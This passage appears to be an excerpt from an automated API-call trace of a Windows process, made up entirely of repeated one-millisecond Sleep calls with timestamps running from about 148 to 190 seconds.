Sleep (dwMilliseconds=0x1) [0148.646] Sleep (dwMilliseconds=0x1) [0148.658] Sleep (dwMilliseconds=0x1) [0148.703] Sleep (dwMilliseconds=0x1) [0148.759] Sleep (dwMilliseconds=0x1) [0148.791] Sleep (dwMilliseconds=0x1) [0148.814] Sleep (dwMilliseconds=0x1) [0148.837] Sleep (dwMilliseconds=0x1) [0148.840] Sleep (dwMilliseconds=0x1) [0148.869] Sleep (dwMilliseconds=0x1) [0148.874] Sleep (dwMilliseconds=0x1) [0148.891] Sleep (dwMilliseconds=0x1) [0148.921] Sleep (dwMilliseconds=0x1) [0148.955] Sleep (dwMilliseconds=0x1) [0148.986] Sleep (dwMilliseconds=0x1) [0149.020] Sleep (dwMilliseconds=0x1) [0149.091] Sleep (dwMilliseconds=0x1) [0149.131] Sleep (dwMilliseconds=0x1) [0149.137] Sleep (dwMilliseconds=0x1) [0149.177] Sleep (dwMilliseconds=0x1) [0149.198] Sleep (dwMilliseconds=0x1) [0149.198] Sleep (dwMilliseconds=0x1) [0149.221] Sleep (dwMilliseconds=0x1) [0149.232] Sleep (dwMilliseconds=0x1) [0149.245] Sleep (dwMilliseconds=0x1) [0149.285] Sleep (dwMilliseconds=0x1) [0149.325] Sleep (dwMilliseconds=0x1) [0149.341] Sleep (dwMilliseconds=0x1) [0149.369] Sleep (dwMilliseconds=0x1) [0149.382] Sleep (dwMilliseconds=0x1) [0149.406] Sleep (dwMilliseconds=0x1) [0149.422] Sleep (dwMilliseconds=0x1) [0149.446] Sleep (dwMilliseconds=0x1) [0149.504] Sleep (dwMilliseconds=0x1) [0149.525] Sleep (dwMilliseconds=0x1) [0149.555] Sleep (dwMilliseconds=0x1) [0149.575] Sleep (dwMilliseconds=0x1) [0149.597] Sleep (dwMilliseconds=0x1) [0149.616] Sleep (dwMilliseconds=0x1) [0149.645] Sleep (dwMilliseconds=0x1) [0149.668] Sleep (dwMilliseconds=0x1) [0149.696] Sleep (dwMilliseconds=0x1) [0149.709] Sleep (dwMilliseconds=0x1) [0149.729] Sleep (dwMilliseconds=0x1) [0149.753] Sleep (dwMilliseconds=0x1) [0149.778] Sleep (dwMilliseconds=0x1) [0149.794] Sleep (dwMilliseconds=0x1) [0149.811] Sleep (dwMilliseconds=0x1) [0149.826] Sleep (dwMilliseconds=0x1) [0149.842] Sleep (dwMilliseconds=0x1) [0149.860] Sleep (dwMilliseconds=0x1) [0149.878] Sleep (dwMilliseconds=0x1) [0149.897] Sleep (dwMilliseconds=0x1) [0149.904] Sleep (dwMilliseconds=0x1) [0149.916] Sleep (dwMilliseconds=0x1) [0149.948] Sleep (dwMilliseconds=0x1) [0149.963] Sleep (dwMilliseconds=0x1) [0149.980] Sleep (dwMilliseconds=0x1) [0149.995] Sleep (dwMilliseconds=0x1) [0150.010] Sleep (dwMilliseconds=0x1) [0150.056] Sleep (dwMilliseconds=0x1) [0150.089] Sleep (dwMilliseconds=0x1) [0150.126] Sleep (dwMilliseconds=0x1) [0150.140] Sleep (dwMilliseconds=0x1) [0150.155] Sleep (dwMilliseconds=0x1) [0150.170] Sleep (dwMilliseconds=0x1) [0150.192] Sleep (dwMilliseconds=0x1) [0150.207] Sleep (dwMilliseconds=0x1) [0150.221] Sleep (dwMilliseconds=0x1) [0150.230] Sleep (dwMilliseconds=0x1) [0150.257] Sleep (dwMilliseconds=0x1) [0150.273] Sleep (dwMilliseconds=0x1) [0150.277] Sleep (dwMilliseconds=0x1) [0150.295] Sleep (dwMilliseconds=0x1) [0150.312] Sleep (dwMilliseconds=0x1) [0150.337] Sleep (dwMilliseconds=0x1) [0150.350] Sleep (dwMilliseconds=0x1) [0150.364] Sleep (dwMilliseconds=0x1) [0150.374] Sleep (dwMilliseconds=0x1) [0150.390] Sleep (dwMilliseconds=0x1) [0150.416] Sleep (dwMilliseconds=0x1) [0150.437] Sleep (dwMilliseconds=0x1) [0150.455] Sleep (dwMilliseconds=0x1) [0150.465] Sleep (dwMilliseconds=0x1) [0150.490] Sleep (dwMilliseconds=0x1) [0150.497] Sleep (dwMilliseconds=0x1) [0150.513] Sleep (dwMilliseconds=0x1) [0150.546] Sleep (dwMilliseconds=0x1) [0150.558] Sleep (dwMilliseconds=0x1) [0150.577] Sleep (dwMilliseconds=0x1) [0150.595] Sleep (dwMilliseconds=0x1) [0150.604] Sleep (dwMilliseconds=0x1) [0150.645] Sleep (dwMilliseconds=0x1) [0150.676] Sleep (dwMilliseconds=0x1) [0150.686] Sleep (dwMilliseconds=0x1) [0150.723] Sleep (dwMilliseconds=0x1) [0150.738] Sleep (dwMilliseconds=0x1) [0150.747] Sleep (dwMilliseconds=0x1) [0150.766] Sleep (dwMilliseconds=0x1) [0151.152] Sleep (dwMilliseconds=0x1) [0151.625] Sleep (dwMilliseconds=0x1) [0152.800] Sleep (dwMilliseconds=0x1) [0152.804] Sleep (dwMilliseconds=0x1) [0152.933] Sleep (dwMilliseconds=0x1) [0152.943] Sleep (dwMilliseconds=0x1) [0152.958] Sleep (dwMilliseconds=0x1) [0152.974] Sleep (dwMilliseconds=0x1) [0152.989] Sleep (dwMilliseconds=0x1) [0153.144] Sleep (dwMilliseconds=0x1) [0153.145] Sleep (dwMilliseconds=0x1) [0153.177] Sleep (dwMilliseconds=0x1) [0153.192] Sleep (dwMilliseconds=0x1) [0153.208] Sleep (dwMilliseconds=0x1) [0153.223] Sleep (dwMilliseconds=0x1) [0153.239] Sleep (dwMilliseconds=0x1) [0153.255] Sleep (dwMilliseconds=0x1) [0153.272] Sleep (dwMilliseconds=0x1) [0153.286] Sleep (dwMilliseconds=0x1) [0153.301] Sleep (dwMilliseconds=0x1) [0153.317] Sleep (dwMilliseconds=0x1) [0153.333] Sleep (dwMilliseconds=0x1) [0153.352] Sleep (dwMilliseconds=0x1) [0153.366] Sleep (dwMilliseconds=0x1) [0153.382] Sleep (dwMilliseconds=0x1) [0153.396] Sleep (dwMilliseconds=0x1) [0153.426] Sleep (dwMilliseconds=0x1) [0153.442] Sleep (dwMilliseconds=0x1) [0153.459] Sleep (dwMilliseconds=0x1) [0153.480] Sleep (dwMilliseconds=0x1) [0153.490] Sleep (dwMilliseconds=0x1) [0153.809] Sleep (dwMilliseconds=0x1) [0153.824] Sleep (dwMilliseconds=0x1) [0153.833] Sleep (dwMilliseconds=0x1) [0153.849] Sleep (dwMilliseconds=0x1) [0153.874] Sleep (dwMilliseconds=0x1) [0153.880] Sleep (dwMilliseconds=0x1) [0153.913] Sleep (dwMilliseconds=0x1) [0153.989] Sleep (dwMilliseconds=0x1) [0154.101] Sleep (dwMilliseconds=0x1) [0154.120] Sleep (dwMilliseconds=0x1) [0154.133] Sleep (dwMilliseconds=0x1) [0154.161] Sleep (dwMilliseconds=0x1) [0154.265] Sleep (dwMilliseconds=0x1) [0154.272] Sleep (dwMilliseconds=0x1) [0154.290] Sleep (dwMilliseconds=0x1) [0154.322] Sleep (dwMilliseconds=0x1) [0154.331] Sleep (dwMilliseconds=0x1) [0154.357] Sleep (dwMilliseconds=0x1) [0154.363] Sleep (dwMilliseconds=0x1) [0154.387] Sleep (dwMilliseconds=0x1) [0154.403] Sleep (dwMilliseconds=0x1) [0154.409] Sleep (dwMilliseconds=0x1) [0154.434] Sleep (dwMilliseconds=0x1) [0154.441] Sleep (dwMilliseconds=0x1) [0154.458] Sleep (dwMilliseconds=0x1) [0154.474] Sleep (dwMilliseconds=0x1) [0154.487] Sleep (dwMilliseconds=0x1) [0154.512] Sleep (dwMilliseconds=0x1) [0154.521] Sleep (dwMilliseconds=0x1) [0154.612] Sleep (dwMilliseconds=0x1) [0154.646] Sleep (dwMilliseconds=0x1) [0154.664] Sleep (dwMilliseconds=0x1) [0154.675] Sleep (dwMilliseconds=0x1) [0154.695] Sleep (dwMilliseconds=0x1) [0154.811] Sleep (dwMilliseconds=0x1) [0154.831] Sleep (dwMilliseconds=0x1) [0154.851] Sleep (dwMilliseconds=0x1) [0154.875] Sleep (dwMilliseconds=0x1) [0154.891] Sleep (dwMilliseconds=0x1) [0154.907] Sleep (dwMilliseconds=0x1) [0154.922] Sleep (dwMilliseconds=0x1) [0154.943] Sleep (dwMilliseconds=0x1) [0154.964] Sleep (dwMilliseconds=0x1) [0154.994] Sleep (dwMilliseconds=0x1) [0155.013] Sleep (dwMilliseconds=0x1) [0155.029] Sleep (dwMilliseconds=0x1) [0155.050] Sleep (dwMilliseconds=0x1) [0155.066] Sleep (dwMilliseconds=0x1) [0155.082] Sleep (dwMilliseconds=0x1) [0155.104] Sleep (dwMilliseconds=0x1) [0155.126] Sleep (dwMilliseconds=0x1) [0155.152] Sleep (dwMilliseconds=0x1) [0155.195] Sleep (dwMilliseconds=0x1) [0155.222] Sleep (dwMilliseconds=0x1) [0155.246] Sleep (dwMilliseconds=0x1) [0155.284] Sleep (dwMilliseconds=0x1) [0155.309] Sleep (dwMilliseconds=0x1) [0155.318] Sleep (dwMilliseconds=0x1) [0155.330] Sleep (dwMilliseconds=0x1) [0155.348] Sleep (dwMilliseconds=0x1) [0155.365] Sleep (dwMilliseconds=0x1) [0155.414] Sleep (dwMilliseconds=0x1) [0155.423] Sleep (dwMilliseconds=0x1) [0155.460] Sleep (dwMilliseconds=0x1) [0155.471] Sleep (dwMilliseconds=0x1) [0155.494] Sleep (dwMilliseconds=0x1) [0155.514] Sleep (dwMilliseconds=0x1) [0155.520] Sleep (dwMilliseconds=0x1) [0155.535] Sleep (dwMilliseconds=0x1) [0155.582] Sleep (dwMilliseconds=0x1) [0155.596] Sleep (dwMilliseconds=0x1) [0155.683] Sleep (dwMilliseconds=0x1) [0155.690] Sleep (dwMilliseconds=0x1) [0155.706] Sleep (dwMilliseconds=0x1) [0155.727] Sleep (dwMilliseconds=0x1) [0155.765] Sleep (dwMilliseconds=0x1) [0155.885] Sleep (dwMilliseconds=0x1) [0155.896] Sleep (dwMilliseconds=0x1) [0155.918] Sleep (dwMilliseconds=0x1) [0155.923] Sleep (dwMilliseconds=0x1) [0155.947] Sleep (dwMilliseconds=0x1) [0155.956] Sleep (dwMilliseconds=0x1) [0156.098] Sleep (dwMilliseconds=0x1) [0156.118] Sleep (dwMilliseconds=0x1) [0156.127] Sleep (dwMilliseconds=0x1) [0156.157] Sleep (dwMilliseconds=0x1) [0156.216] Sleep (dwMilliseconds=0x1) [0156.230] Sleep (dwMilliseconds=0x1) [0156.254] Sleep (dwMilliseconds=0x1) [0156.276] Sleep (dwMilliseconds=0x1) [0156.337] Sleep (dwMilliseconds=0x1) [0156.359] Sleep (dwMilliseconds=0x1) [0156.431] Sleep (dwMilliseconds=0x1) [0156.444] Sleep (dwMilliseconds=0x1) [0156.472] Sleep (dwMilliseconds=0x1) [0156.491] Sleep (dwMilliseconds=0x1) [0156.499] Sleep (dwMilliseconds=0x1) [0156.517] Sleep (dwMilliseconds=0x1) [0156.532] Sleep (dwMilliseconds=0x1) [0156.672] Sleep (dwMilliseconds=0x1) [0156.690] Sleep (dwMilliseconds=0x1) [0156.705] Sleep (dwMilliseconds=0x1) [0156.719] Sleep (dwMilliseconds=0x1) [0156.743] Sleep (dwMilliseconds=0x1) [0156.762] Sleep (dwMilliseconds=0x1) [0156.782] Sleep (dwMilliseconds=0x1) [0156.803] Sleep (dwMilliseconds=0x1) [0156.828] Sleep (dwMilliseconds=0x1) [0156.847] Sleep (dwMilliseconds=0x1) [0156.869] Sleep (dwMilliseconds=0x1) [0156.895] Sleep (dwMilliseconds=0x1) [0156.922] Sleep (dwMilliseconds=0x1) [0156.939] Sleep (dwMilliseconds=0x1) [0156.956] Sleep (dwMilliseconds=0x1) [0156.978] Sleep (dwMilliseconds=0x1) [0157.016] Sleep (dwMilliseconds=0x1) [0157.037] Sleep (dwMilliseconds=0x1) [0157.061] Sleep (dwMilliseconds=0x1) [0157.078] Sleep (dwMilliseconds=0x1) [0157.097] Sleep (dwMilliseconds=0x1) [0157.119] Sleep (dwMilliseconds=0x1) [0157.144] Sleep (dwMilliseconds=0x1) [0157.230] Sleep (dwMilliseconds=0x1) [0157.258] Sleep (dwMilliseconds=0x1) [0157.285] Sleep (dwMilliseconds=0x1) [0157.312] Sleep (dwMilliseconds=0x1) [0157.339] Sleep (dwMilliseconds=0x1) [0157.360] Sleep (dwMilliseconds=0x1) [0157.381] Sleep (dwMilliseconds=0x1) [0157.408] Sleep (dwMilliseconds=0x1) [0157.430] Sleep (dwMilliseconds=0x1) [0157.458] Sleep (dwMilliseconds=0x1) [0157.469] Sleep (dwMilliseconds=0x1) [0157.490] Sleep (dwMilliseconds=0x1) [0157.502] Sleep (dwMilliseconds=0x1) [0157.516] Sleep (dwMilliseconds=0x1) [0157.542] Sleep (dwMilliseconds=0x1) [0157.544] Sleep (dwMilliseconds=0x1) [0157.721] Sleep (dwMilliseconds=0x1) [0157.733] Sleep (dwMilliseconds=0x1) [0157.747] Sleep (dwMilliseconds=0x1) [0157.766] Sleep (dwMilliseconds=0x1) [0157.780] Sleep (dwMilliseconds=0x1) [0157.795] Sleep (dwMilliseconds=0x1) [0157.814] Sleep (dwMilliseconds=0x1) [0157.834] Sleep (dwMilliseconds=0x1) [0157.852] Sleep (dwMilliseconds=0x1) [0157.867] Sleep (dwMilliseconds=0x1) [0157.874] Sleep (dwMilliseconds=0x1) [0157.888] Sleep (dwMilliseconds=0x1) [0157.903] Sleep (dwMilliseconds=0x1) [0157.925] Sleep (dwMilliseconds=0x1) [0157.939] Sleep (dwMilliseconds=0x1) [0157.950] Sleep (dwMilliseconds=0x1) [0157.966] Sleep (dwMilliseconds=0x1) [0157.988] Sleep (dwMilliseconds=0x1) [0158.061] Sleep (dwMilliseconds=0x1) [0158.078] Sleep (dwMilliseconds=0x1) [0158.091] Sleep (dwMilliseconds=0x1) [0158.106] Sleep (dwMilliseconds=0x1) [0158.122] Sleep (dwMilliseconds=0x1) [0158.137] Sleep (dwMilliseconds=0x1) [0159.329] Sleep (dwMilliseconds=0x1) [0159.663] Sleep (dwMilliseconds=0x1) [0159.668] Sleep (dwMilliseconds=0x1) [0159.682] Sleep (dwMilliseconds=0x1) [0159.700] Sleep (dwMilliseconds=0x1) [0159.714] Sleep (dwMilliseconds=0x1) [0159.813] Sleep (dwMilliseconds=0x1) [0159.825] Sleep (dwMilliseconds=0x1) [0159.838] Sleep (dwMilliseconds=0x1) [0159.854] Sleep (dwMilliseconds=0x1) [0159.869] Sleep (dwMilliseconds=0x1) [0159.885] Sleep (dwMilliseconds=0x1) [0159.915] Sleep (dwMilliseconds=0x1) [0159.917] Sleep (dwMilliseconds=0x1) [0159.931] Sleep (dwMilliseconds=0x1) [0159.947] Sleep (dwMilliseconds=0x1) [0159.963] Sleep (dwMilliseconds=0x1) [0159.978] Sleep (dwMilliseconds=0x1) [0159.994] Sleep (dwMilliseconds=0x1) [0160.009] Sleep (dwMilliseconds=0x1) [0160.038] Sleep (dwMilliseconds=0x1) [0160.040] Sleep (dwMilliseconds=0x1) [0160.056] Sleep (dwMilliseconds=0x1) [0160.072] Sleep (dwMilliseconds=0x1) [0160.095] Sleep (dwMilliseconds=0x1) [0160.106] Sleep (dwMilliseconds=0x1) [0160.119] Sleep (dwMilliseconds=0x1) [0160.134] Sleep (dwMilliseconds=0x1) [0160.151] Sleep (dwMilliseconds=0x1) [0160.166] Sleep (dwMilliseconds=0x1) [0160.181] Sleep (dwMilliseconds=0x1) [0160.197] Sleep (dwMilliseconds=0x1) [0160.212] Sleep (dwMilliseconds=0x1) [0160.235] Sleep (dwMilliseconds=0x1) [0160.247] Sleep (dwMilliseconds=0x1) [0160.260] Sleep (dwMilliseconds=0x1) [0160.275] Sleep (dwMilliseconds=0x1) [0160.383] Sleep (dwMilliseconds=0x1) [0160.385] Sleep (dwMilliseconds=0x1) [0160.414] Sleep (dwMilliseconds=0x1) [0160.419] Sleep (dwMilliseconds=0x1) [0160.436] Sleep (dwMilliseconds=0x1) [0160.448] Sleep (dwMilliseconds=0x1) [0160.466] Sleep (dwMilliseconds=0x1) [0161.087] Sleep (dwMilliseconds=0x1) [0166.165] Sleep (dwMilliseconds=0x1) [0166.220] Sleep (dwMilliseconds=0x1) [0166.284] Sleep (dwMilliseconds=0x1) [0166.302] Sleep (dwMilliseconds=0x1) [0166.314] Sleep (dwMilliseconds=0x1) [0166.331] Sleep (dwMilliseconds=0x1) [0166.347] Sleep (dwMilliseconds=0x1) [0166.380] Sleep (dwMilliseconds=0x1) [0166.400] Sleep (dwMilliseconds=0x1) [0166.442] Sleep (dwMilliseconds=0x1) [0166.459] Sleep (dwMilliseconds=0x1) [0166.470] Sleep (dwMilliseconds=0x1) [0171.583] Sleep (dwMilliseconds=0x1) [0171.601] Sleep (dwMilliseconds=0x1) [0171.647] Sleep (dwMilliseconds=0x1) [0171.662] Sleep (dwMilliseconds=0x1) [0171.678] Sleep (dwMilliseconds=0x1) [0171.694] Sleep (dwMilliseconds=0x1) [0171.709] Sleep (dwMilliseconds=0x1) [0171.725] Sleep (dwMilliseconds=0x1) [0171.741] Sleep (dwMilliseconds=0x1) [0171.756] Sleep (dwMilliseconds=0x1) [0171.772] Sleep (dwMilliseconds=0x1) [0171.789] Sleep (dwMilliseconds=0x1) [0171.804] Sleep (dwMilliseconds=0x1) [0171.818] Sleep (dwMilliseconds=0x1) [0171.834] Sleep (dwMilliseconds=0x1) [0171.850] Sleep (dwMilliseconds=0x1) [0171.865] Sleep (dwMilliseconds=0x1) [0171.881] Sleep (dwMilliseconds=0x1) [0171.900] Sleep (dwMilliseconds=0x1) [0171.912] Sleep (dwMilliseconds=0x1) [0171.928] Sleep (dwMilliseconds=0x1) [0171.943] Sleep (dwMilliseconds=0x1) [0171.959] Sleep (dwMilliseconds=0x1) [0171.974] Sleep (dwMilliseconds=0x1) [0171.990] Sleep (dwMilliseconds=0x1) [0172.006] Sleep (dwMilliseconds=0x1) [0172.021] Sleep (dwMilliseconds=0x1) [0172.037] Sleep (dwMilliseconds=0x1) [0172.054] Sleep (dwMilliseconds=0x1) [0172.069] Sleep (dwMilliseconds=0x1) [0172.084] Sleep (dwMilliseconds=0x1) [0172.100] Sleep (dwMilliseconds=0x1) [0172.115] Sleep (dwMilliseconds=0x1) [0172.130] Sleep (dwMilliseconds=0x1) [0172.146] Sleep (dwMilliseconds=0x1) [0172.162] Sleep (dwMilliseconds=0x1) [0172.178] Sleep (dwMilliseconds=0x1) [0172.193] Sleep (dwMilliseconds=0x1) [0172.209] Sleep (dwMilliseconds=0x1) [0172.224] Sleep (dwMilliseconds=0x1) [0172.240] Sleep (dwMilliseconds=0x1) [0180.237] Sleep (dwMilliseconds=0x1) [0180.242] Sleep (dwMilliseconds=0x1) [0180.258] Sleep (dwMilliseconds=0x1) [0180.274] Sleep (dwMilliseconds=0x1) [0180.292] Sleep (dwMilliseconds=0x1) [0180.305] Sleep (dwMilliseconds=0x1) [0186.630] Sleep (dwMilliseconds=0x1) [0186.640] Sleep (dwMilliseconds=0x1) [0186.656] Sleep (dwMilliseconds=0x1) [0186.671] Sleep (dwMilliseconds=0x1) [0186.686] Sleep (dwMilliseconds=0x1) [0186.703] Sleep (dwMilliseconds=0x1) [0186.717] Sleep (dwMilliseconds=0x1) [0186.733] Sleep (dwMilliseconds=0x1) [0186.749] Sleep (dwMilliseconds=0x1) [0186.769] Sleep (dwMilliseconds=0x1) [0186.780] Sleep (dwMilliseconds=0x1) [0186.796] Sleep (dwMilliseconds=0x1) [0186.811] Sleep (dwMilliseconds=0x1) [0186.827] Sleep (dwMilliseconds=0x1) [0186.845] Sleep (dwMilliseconds=0x1) [0186.861] Sleep (dwMilliseconds=0x1) [0186.874] Sleep (dwMilliseconds=0x1) [0186.889] Sleep (dwMilliseconds=0x1) [0186.910] Sleep (dwMilliseconds=0x1) [0186.920] Sleep (dwMilliseconds=0x1) [0186.936] Sleep (dwMilliseconds=0x1) [0186.951] Sleep (dwMilliseconds=0x1) [0186.968] Sleep (dwMilliseconds=0x1) [0186.983] Sleep (dwMilliseconds=0x1) [0186.998] Sleep (dwMilliseconds=0x1) [0187.014] Sleep (dwMilliseconds=0x1) [0187.030] Sleep (dwMilliseconds=0x1) [0187.045] Sleep (dwMilliseconds=0x1) [0187.061] Sleep (dwMilliseconds=0x1) [0187.076] Sleep (dwMilliseconds=0x1) [0187.092] Sleep (dwMilliseconds=0x1) [0187.107] Sleep (dwMilliseconds=0x1) [0187.123] Sleep (dwMilliseconds=0x1) [0187.139] Sleep (dwMilliseconds=0x1) [0187.154] Sleep (dwMilliseconds=0x1) [0187.170] Sleep (dwMilliseconds=0x1) [0187.185] Sleep (dwMilliseconds=0x1) [0187.201] Sleep (dwMilliseconds=0x1) [0187.216] Sleep (dwMilliseconds=0x1) [0187.233] Sleep (dwMilliseconds=0x1) [0187.248] Sleep (dwMilliseconds=0x1) [0187.263] Sleep (dwMilliseconds=0x1) [0187.280] Sleep (dwMilliseconds=0x1) [0187.301] Sleep (dwMilliseconds=0x1) [0187.311] Sleep (dwMilliseconds=0x1) [0187.328] Sleep (dwMilliseconds=0x1) [0187.350] Sleep (dwMilliseconds=0x1) [0187.360] Sleep (dwMilliseconds=0x1) [0187.378] Sleep (dwMilliseconds=0x1) [0187.388] Sleep (dwMilliseconds=0x1) [0187.439] Sleep (dwMilliseconds=0x1) [0187.456] Sleep (dwMilliseconds=0x1) [0187.466] Sleep (dwMilliseconds=0x1) [0187.483] Sleep (dwMilliseconds=0x1) [0187.497] Sleep (dwMilliseconds=0x1) [0187.513] Sleep (dwMilliseconds=0x1) [0187.529] Sleep (dwMilliseconds=0x1) [0187.544] Sleep (dwMilliseconds=0x1) [0187.560] Sleep (dwMilliseconds=0x1) [0187.577] Sleep (dwMilliseconds=0x1) [0187.609] Sleep (dwMilliseconds=0x1) [0187.642] Sleep (dwMilliseconds=0x1) [0187.655] Sleep (dwMilliseconds=0x1) [0187.669] Sleep (dwMilliseconds=0x1) [0187.686] Sleep (dwMilliseconds=0x1) [0187.701] Sleep (dwMilliseconds=0x1) [0187.717] Sleep (dwMilliseconds=0x1) [0187.732] Sleep (dwMilliseconds=0x1) [0187.747] Sleep (dwMilliseconds=0x1) [0187.763] Sleep (dwMilliseconds=0x1) [0187.779] Sleep (dwMilliseconds=0x1) [0187.796] Sleep (dwMilliseconds=0x1) [0187.810] Sleep (dwMilliseconds=0x1) [0187.826] Sleep (dwMilliseconds=0x1) [0187.840] Sleep (dwMilliseconds=0x1) [0187.855] Sleep (dwMilliseconds=0x1) [0187.871] Sleep (dwMilliseconds=0x1) [0187.887] Sleep (dwMilliseconds=0x1) [0187.902] Sleep (dwMilliseconds=0x1) [0187.918] Sleep (dwMilliseconds=0x1) [0187.933] Sleep (dwMilliseconds=0x1) [0187.954] Sleep (dwMilliseconds=0x1) [0187.965] Sleep (dwMilliseconds=0x1) [0187.984] Sleep (dwMilliseconds=0x1) [0187.996] Sleep (dwMilliseconds=0x1) [0188.015] Sleep (dwMilliseconds=0x1) [0188.028] Sleep (dwMilliseconds=0x1) [0188.050] Sleep (dwMilliseconds=0x1) [0188.061] Sleep (dwMilliseconds=0x1) [0188.081] Sleep (dwMilliseconds=0x1) [0188.091] Sleep (dwMilliseconds=0x1) [0188.111] Sleep (dwMilliseconds=0x1) [0188.120] Sleep (dwMilliseconds=0x1) [0188.137] Sleep (dwMilliseconds=0x1) [0188.152] Sleep (dwMilliseconds=0x1) [0188.167] Sleep (dwMilliseconds=0x1) [0188.183] Sleep (dwMilliseconds=0x1) [0188.199] Sleep (dwMilliseconds=0x1) [0188.214] Sleep (dwMilliseconds=0x1) [0188.230] Sleep (dwMilliseconds=0x1) [0188.245] Sleep (dwMilliseconds=0x1) [0188.261] Sleep (dwMilliseconds=0x1) [0188.277] Sleep (dwMilliseconds=0x1) [0188.292] Sleep (dwMilliseconds=0x1) [0188.308] Sleep (dwMilliseconds=0x1) [0188.324] Sleep (dwMilliseconds=0x1) [0188.339] Sleep (dwMilliseconds=0x1) [0188.354] Sleep (dwMilliseconds=0x1) [0188.370] Sleep (dwMilliseconds=0x1) [0188.386] Sleep (dwMilliseconds=0x1) [0188.401] Sleep (dwMilliseconds=0x1) [0188.417] Sleep (dwMilliseconds=0x1) [0188.433] Sleep (dwMilliseconds=0x1) [0188.448] Sleep (dwMilliseconds=0x1) [0188.465] Sleep (dwMilliseconds=0x1) [0188.479] Sleep (dwMilliseconds=0x1) [0188.495] Sleep (dwMilliseconds=0x1) [0188.512] Sleep (dwMilliseconds=0x1) [0188.527] Sleep (dwMilliseconds=0x1) [0188.542] Sleep (dwMilliseconds=0x1) [0188.558] Sleep (dwMilliseconds=0x1) [0188.573] Sleep (dwMilliseconds=0x1) [0188.601] Sleep (dwMilliseconds=0x1) [0188.655] Sleep (dwMilliseconds=0x1) [0188.687] Sleep (dwMilliseconds=0x1) [0188.704] Sleep (dwMilliseconds=0x1) [0188.716] Sleep (dwMilliseconds=0x1) [0188.729] Sleep (dwMilliseconds=0x1) [0188.744] Sleep (dwMilliseconds=0x1) [0188.760] Sleep (dwMilliseconds=0x1) [0188.778] Sleep (dwMilliseconds=0x1) [0188.792] Sleep (dwMilliseconds=0x1) [0188.807] Sleep (dwMilliseconds=0x1) [0188.823] Sleep (dwMilliseconds=0x1) [0188.838] Sleep (dwMilliseconds=0x1) [0188.854] Sleep (dwMilliseconds=0x1) [0188.869] Sleep (dwMilliseconds=0x1) [0188.885] Sleep (dwMilliseconds=0x1) [0188.900] Sleep (dwMilliseconds=0x1) [0188.916] Sleep (dwMilliseconds=0x1) [0188.932] Sleep (dwMilliseconds=0x1) [0188.948] Sleep (dwMilliseconds=0x1) [0188.963] Sleep (dwMilliseconds=0x1) [0188.979] Sleep (dwMilliseconds=0x1) [0188.994] Sleep (dwMilliseconds=0x1) [0189.011] Sleep (dwMilliseconds=0x1) [0189.025] Sleep (dwMilliseconds=0x1) [0189.041] Sleep (dwMilliseconds=0x1) [0189.056] Sleep (dwMilliseconds=0x1) [0189.072] Sleep (dwMilliseconds=0x1) [0189.088] Sleep (dwMilliseconds=0x1) [0189.103] Sleep (dwMilliseconds=0x1) [0189.119] Sleep (dwMilliseconds=0x1) [0189.134] Sleep (dwMilliseconds=0x1) [0189.150] Sleep (dwMilliseconds=0x1) [0189.166] Sleep (dwMilliseconds=0x1) [0189.181] Sleep (dwMilliseconds=0x1) [0189.197] Sleep (dwMilliseconds=0x1) [0189.213] Sleep (dwMilliseconds=0x1) [0189.228] Sleep (dwMilliseconds=0x1) [0189.244] Sleep (dwMilliseconds=0x1) [0189.260] Sleep (dwMilliseconds=0x1) [0189.275] Sleep (dwMilliseconds=0x1) [0189.291] Sleep (dwMilliseconds=0x1) [0189.306] Sleep (dwMilliseconds=0x1) [0189.322] Sleep (dwMilliseconds=0x1) [0189.337] Sleep (dwMilliseconds=0x1) [0189.356] Sleep (dwMilliseconds=0x1) [0189.369] Sleep (dwMilliseconds=0x1) [0189.388] Sleep (dwMilliseconds=0x1) [0189.400] Sleep (dwMilliseconds=0x1) [0189.415] Sleep (dwMilliseconds=0x1) [0189.431] Sleep (dwMilliseconds=0x1) [0189.446] Sleep (dwMilliseconds=0x1) [0189.462] Sleep (dwMilliseconds=0x1) [0189.478] Sleep (dwMilliseconds=0x1) [0189.494] Sleep (dwMilliseconds=0x1) [0189.509] Sleep (dwMilliseconds=0x1) [0189.525] Sleep (dwMilliseconds=0x1) [0189.540] Sleep (dwMilliseconds=0x1) [0189.556] Sleep (dwMilliseconds=0x1) [0189.572] Sleep (dwMilliseconds=0x1) [0189.600] Sleep (dwMilliseconds=0x1) [0189.602] Sleep (dwMilliseconds=0x1) [0189.618] Sleep (dwMilliseconds=0x1) [0189.634] Sleep (dwMilliseconds=0x1) [0189.656] Sleep (dwMilliseconds=0x1) [0189.665] Sleep (dwMilliseconds=0x1) [0189.681] Sleep (dwMilliseconds=0x1) [0189.696] Sleep (dwMilliseconds=0x1) [0189.712] Sleep (dwMilliseconds=0x1) [0189.727] Sleep (dwMilliseconds=0x1) [0189.743] Sleep (dwMilliseconds=0x1) [0189.759] Sleep (dwMilliseconds=0x1) [0189.774] Sleep (dwMilliseconds=0x1) [0189.790] Sleep (dwMilliseconds=0x1) [0189.805] Sleep (dwMilliseconds=0x1) [0189.821] Sleep (dwMilliseconds=0x1) [0189.836] Sleep (dwMilliseconds=0x1) [0189.852] Sleep (dwMilliseconds=0x1) [0189.868] Sleep (dwMilliseconds=0x1) [0189.884] Sleep (dwMilliseconds=0x1) [0189.899] Sleep (dwMilliseconds=0x1) [0189.915] Sleep (dwMilliseconds=0x1) [0189.930] Sleep (dwMilliseconds=0x1) [0189.946] Sleep (dwMilliseconds=0x1) [0189.962] Sleep (dwMilliseconds=0x1) [0189.977] Sleep (dwMilliseconds=0x1) [0189.992] Sleep (dwMilliseconds=0x1) [0190.008] Sleep (dwMilliseconds=0x1) [0190.024] Sleep (dwMilliseconds=0x1) [0190.042] Sleep (dwMilliseconds=0x1) [0190.055] Sleep (dwMilliseconds=0x1) [0190.071] Sleep (dwMilliseconds=0x1) [0190.086] Sleep (dwMilliseconds=0x1) [0190.102] Sleep (dwMilliseconds=0x1) [0190.117] Sleep (dwMilliseconds=0x1) [0190.133] Sleep (dwMilliseconds=0x1) [0190.148] Sleep (dwMilliseconds=0x1) [0190.164] Sleep (dwMilliseconds=0x1) [0190.180] Sleep (dwMilliseconds=0x1) [0190.195] Sleep (dwMilliseconds=0x1) [0190.211] Sleep (dwMilliseconds=0x1) [0190.227] Sleep (dwMilliseconds=0x1) [0190.242] Sleep (dwMilliseconds=0x1) [0190.258] Sleep (dwMilliseconds=0x1) [0190.273] Sleep (dwMilliseconds=0x1) [0190.289] Sleep (dwMilliseconds=0x1) [0190.305] Sleep (dwMilliseconds=0x1) 